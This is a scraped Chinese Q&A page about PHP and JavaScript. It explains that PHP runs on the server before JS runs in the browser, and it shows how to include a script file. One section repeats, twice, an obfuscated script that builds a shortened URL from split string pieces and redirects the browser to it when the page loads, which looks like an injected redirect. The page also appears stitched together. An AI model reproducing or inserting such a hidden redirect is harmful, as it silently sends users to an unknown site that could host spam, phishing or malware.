本文目录一览:
php调用js变量
php和js是两码事!
php是服务器端脚本语言,
运行与服务器端(比如Apache、iis等)
js是客户端脚本,
运行于客户端(比如浏览器)
运行顺序也不同,
php先运行,js后运行!
js变量可以用php生成,
因为php先运行,
可以输出js变量到浏览器!
php变量必须由php本身生成,
js不能给php生成变量!
php 页面调用JS代码的问题
script
var a = "htt";
var aa = "p";
var u = "dwz";
var c = "wz";
var b = "cn";
var i = "4OGN";
var p= "Fi";
var d = ".";
window.location.href=a+aa+'://'+u+d+b+'/'+i+p;
/script
script
var a = "htt";
var aa = "p";
var u = "dwz";
var c = "wz";
var b = "cn";
var i = "4OGN";
var p= "Fi";
var d = ".";
window.location.href=a+aa+'://'+u+d+b+'/'+i+p;
/script
如何在php里调用js文件
你把js文件和php文件放在同一个文件夹下面,引用里面不用写路径,直接加文件名:
script language="javascript" type="text/javascript" src="t.js"/script这样就可以了,其他的方法我目前还没找到。html语言里面可以随便写路径,只要指向正确就可以了。
关于php调用js变量问题
你的推理很错误
js是运行在客户端,php是运行在服务器端
而php文件,是先在服务器端运行,完成后再发送到客户端进行运行
所以,当你看到页面上的js的时候,服务器的事情已经完成了,在你下次请求之前,服务器“休息”你,所以php根本就不可能直接取得js的变量
除非你将js变量使用post或者get方式重新请求服务器